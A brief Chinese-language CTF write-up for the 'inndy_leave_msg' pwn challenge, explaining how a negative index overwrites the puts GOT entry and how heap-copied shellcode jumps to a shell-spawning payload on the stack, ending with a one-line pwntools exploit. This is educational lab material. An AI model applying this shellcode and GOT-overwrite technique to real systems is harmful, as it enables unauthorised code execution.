最近做了几个题目,都是要利用写shellcode
shellcode一定要利用好当前的寄存器环境
inndy_leave_msg
题目分析
保护
这里的栈和堆都是可以执行的,由于我的内核版本较高,所以看上去堆不可执行
对于高版本内核,execstack只是允许栈可执行,要想让所有data都可以执行,需要利用execall
漏洞
buf可以用来写shellcode,但无法溢出覆盖返回地址
由于这里有两个回合
dwrod_804a060离got比较近,所以考虑覆盖puts got表地址
strdup会把内容copy到堆里面然后ret堆地址,但这里遇到\x0就不会copy了
攻击
利用思路
大部分shellcode在栈上,需要从堆里面跳到栈上
\x00前面的shellcode会被copy到堆里面
add esp,0x35刚好把就是下一回合puts的时候的esp挪到\x00\xc3的位置,然后就可以顺利执行
\x00\xc3使add dl,al
exp
sa(b"message:\n", asm("add esp,0x35;jmp esp") + b"\x00\xc3" + asm(shellcraft.sh()))
sa(b"message slot?\n", b" -16")
it()